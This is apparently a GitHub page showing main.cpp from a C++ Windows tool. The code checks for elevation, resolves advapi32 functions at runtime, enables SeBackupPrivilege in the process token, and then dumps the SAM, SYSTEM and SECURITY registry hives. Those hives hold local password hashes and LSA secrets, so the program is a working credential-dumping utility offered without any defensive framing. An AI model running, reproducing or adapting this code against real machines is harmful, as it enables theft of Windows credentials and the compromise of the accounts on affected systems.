-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
76 lines (67 loc) · 2.18 KB
/
main.cpp
File metadata and controls
76 lines (67 loc) · 2.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include "startproc.h"
#include <windows.h>
#include <iostream>
#define privName SE_BACKUP_NAME
int main() {
if (!IsElevated()) {
std::wcerr << "[!]Run in elevated Prompt\n";
return 1;
}
pOpenProcessToken Opt = (pOpenProcessToken)ResolveFunc("advapi32.dll", "OpenProcessToken");
HANDLE hToken = nullptr;
DWORD dwSize = 0;
if (!Opt(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
std::wcerr << L"[-] Failed to get the Process Token: " << GetLastError();
CloseHandle(hToken);
return 1;
}
pGetTokenInformation Gti = (pGetTokenInformation)ResolveFunc("advapi32.dll", "GetTokenInformation");
Gti(hToken, TokenPrivileges, NULL, 0, &dwSize);
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
std::cerr << "[-] Failed to get required buffer size.\n";
CloseHandle(hToken);
return 2;
}
PTOKEN_PRIVILEGES pPriv = (PTOKEN_PRIVILEGES)malloc(dwSize);
if (!Gti(hToken, TokenPrivileges, pPriv, dwSize, &dwSize)) {
std::wcerr << "[-] GetTokenInformation failed: " << GetLastError();
free(pPriv);
CloseHandle(hToken);
return 3;
}
pLookupPrivilegeValueW lpv = (pLookupPrivilegeValueW)ResolveFunc("advapi32.dll", "LookupPrivilegeValueW");
LUID lidToCheck;
if (!lpv(NULL, privName, &lidToCheck)) {
std::wcerr << "[-] LookupPrivilegeValue failed: " << GetLastError();
free(pPriv);
CloseHandle(hToken);
return 4;
}
int bPriv = 0;
for (DWORD i = 0; i < pPriv->PrivilegeCount; ++i) {
const LUID luid = pPriv->Privileges[i].Luid;
if (luid.LowPart == lidToCheck.LowPart && luid.HighPart == lidToCheck.HighPart) {
bPriv = 1;
if (pPriv->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED) {
std::wcout << L"[+] " << privName << L" is ENABLED.\n";
break;
}
else {
std::wcout << L"[!]" << privName << L" is PRESENT but DISABLED.\n";
std::wcout << L"[+] Switching Privilege\n";
if (enPrivilege(privName, hToken, lidToCheck)) {
std::wcout << L"[-]Adjusting Privilege Failed";
}
break;
}
}
}
if (!bPriv) {
std::wcout << L"[-]Privilege Not Present in Token";
return 5;
}
hiveDump(L"SAM");
hiveDump(L"SYSTEM");
hiveDump(L"SECURITY");
return 0;
}